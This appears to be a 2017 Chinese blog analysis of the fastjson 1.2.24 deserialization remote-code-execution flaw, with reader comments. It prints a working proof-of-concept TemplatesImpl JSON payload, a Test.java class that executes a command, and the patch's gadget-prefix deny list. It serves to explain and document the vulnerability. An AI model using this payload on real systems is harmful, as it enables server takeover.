fastjson 反序列化 poc 1.2.24
2017.5.3日更新:增加_tfactory为一个空object即{ },使poc在各个jdk版本都起作用。影响版本更新:fastjson-1.2.22到1.2.24区间
背景
fastjson是一个java编写的高性能功能非常完善的JSON库,应用范围非常广,在github上star数都超过8k,在2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。关于漏洞的具体详情可参考 https://github.com/alibaba/fastjson/wiki/security_update_20170315
受影响的版本
fastjson <= 1.2.24
静态分析
根据官方给出的补丁文件,主要的更新在这个checkAutoType函数上,而这个函数的主要功能就是添加了黑名单,将一些常用的反序列化利用库都添加到黑名单中。具体包括
bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework
下面我们来分析checkAutoType的函数实现:
public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null) { return null; } if (typeName.length() >= maxTypeNameLength) { throw new JSONException("autoType is not support. " + typeName); } final String className = typeName.replace('$', '.'); if (autoTypeSupport || expectClass != null) { for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } } for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } } Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null) { clazz = deserializers.findClass(typeName); } if (clazz != null) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; }
核心部分就是denyList的处理过程,遍历denyList,如果引入的库以denyList中某个deny打头,就会抛出异常,中断运行。
poc构造
通过静态分析得知,要构造一个可用的poc,肯定得引入denyList的库。下面是一个poc的代码
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { Test t = new Test(); } }
这个是Test.java的实现,在Test.java的构造函数中执行了一条命令,弹出计算器。接着分析poc
package com.alibaba.json.bvt.parser.deser.deny; import com.alibaba.fastjson.parser.Feature; import org.apache.commons.codec.binary.Base64; import org.apache.commons.io.IOUtils; import org.junit.Assert; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONException; import com.alibaba.fastjson.parser.ParserConfig; import com.alibaba.json.bvtVO.deny.A; import junit.framework.TestCase; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; public class DenyTest extends TestCase { //ParserConfig config = new ParserConfig(); //config.setAutoTypeSupport(true); //ParserConfig.getGlobalInstance().setAutoTypeSupport(true); public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public void test_0() throws Exception { final String NASTY_CLASS = " com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String evilCode = readClass("Test.class"); String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_tfactory\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\",\"errorListener\":{\"$ref\":\"@\"},\"featureManager\":{}},\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"; System.out.println(text1); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } }
在这个poc中,最核心的部分是_bytecodes,它是要执行的代码,@type是指定的解析类,fastjson会根据指定类去反序列化得到该类的实例,在默认情况下,fastjson只会反序列化公开的属性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,所以是设置不了的,只能依赖于jdk的实现,幸好在1.7.0_05版本中还没有在getTransletInstance()用到_tfactory属性,jdk1.8肯定是不可以的。于是我们的poc才能跑起来,最后我们看下调用链:
public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }
private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new Hashtable(); } for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
在getTransletInstance调用defineTransletClasses,在defineTransletClasses方法中会根据_bytecodes来生成一个java类,生成的java类随后会被getTransletInstance方法用到生成一个实例,也也就到了最终的执行命令的位置Runtime.getRuntime.exec()下面我们上一张调用链的图,调用链,简单来说就是
JSON.parseObject…JavaBeanDeserializer.deserialze…FieldDeserializer.setValue…TemplatesImpl.getOutputPropertiesTemplatesImpl.newTransformerTemplatesImpl.getTransletInstance…Runtime.getRuntime().exec附上一张成功执行图:运行成功
5 总结poc影响jdk 1.7,1.8版本,1.6未测试,但是需要在parseObject的时候设置Feature.SupportNonPublicField,告诉个不幸的消息,该字段在fastjson1.2.22版本引入,这么一说的话就是poc只能在1.2.22和1.2.24版本区间起作用。最后给大家上个福利,github地址:完整的Intellij IDEA poc环境:https://github.com/shengqi158/fastjson-remote-code-execute-poc
本文地址:http://xxlegend.com/2017/04/29/title- fastjson 远程反序列化poc的构造和分析/
这个漏洞poc挺有趣的,原本的poc貌似还不是这个啊,不过两个poc都有相关依赖啊,扯平了。
@iswin 我想知道原本的poc有没有条件限制啊?
@0c0c0f 原本的也有条件限制啊。
@xxlegend 应该不是,原来的那个阿里的已经修复了。期待师傅分析绕过的姿势。